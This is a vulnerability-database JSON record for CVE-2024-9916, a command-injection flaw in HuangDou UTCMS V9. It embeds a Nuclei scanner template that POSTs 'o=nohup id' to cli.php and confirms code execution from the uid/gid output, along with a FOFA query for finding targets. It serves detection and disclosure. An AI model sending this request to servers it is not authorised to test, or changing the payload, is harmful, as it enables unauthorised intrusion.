{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-9916/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-9916/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-9916/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-9916/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-9916/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-9916"},"sightings":{"href":"/api/v1/sightings/cve-2024-9916"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.73617,"kev":false,"percentile":0.99455},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-9916.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-9916\n\ninfo:\n  name: HuangDou UTCMS V9 - OS Command Injection\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The exploit has been disclosed to the public and may be used.The vendor was contacted early about this disclosure but did not respond in any way.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands on the server through command injection in the cli.php file, achieving complete system compromise and potential access to sensitive data.\n  remediation: |\n    Apply security patches from HuangDou for UTCMS V9 to address the OS command injection vulnerability in app/modules/ut-cac/admin/cli.php.\n  reference:\n    - https://vuldb.com/?ctiid.280244\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-9916\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2024-9916\n    cwe-id: CWE-78\n    epss-score: 0.73617\n    epss-percentile: 0.99455\n    cpe: cpe:2.3:a:usualtool:usualtoolcms:9.0:*:*:*:*:*:*:*\n  metadata:\n    vendor: usualtool\n    product: usualtoolcms\n    verified: true\n    max-request: 1\n    fofa-query: body=\"usualtool\"\n  tags: cve,cve2024,huangdou,utc,rce,php,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /app/modules/ut-cac/admin/cli.php HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{RootURL}}\n        Content-Type: application/x-www-form-urlencoded\n\n        o=nohup id\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '~]#nohup id run complete.'\n          - 'uid='\n          - 'gid='\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203cddc0db3e6d91788f13b304947a8fdb40122d5aa00546c18b2cfdef8db92f06022100dbaa44d25be2f0f66d8f2237aca05ed41c33d7e87d506ed287bc5c5015bfd870:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-9916"}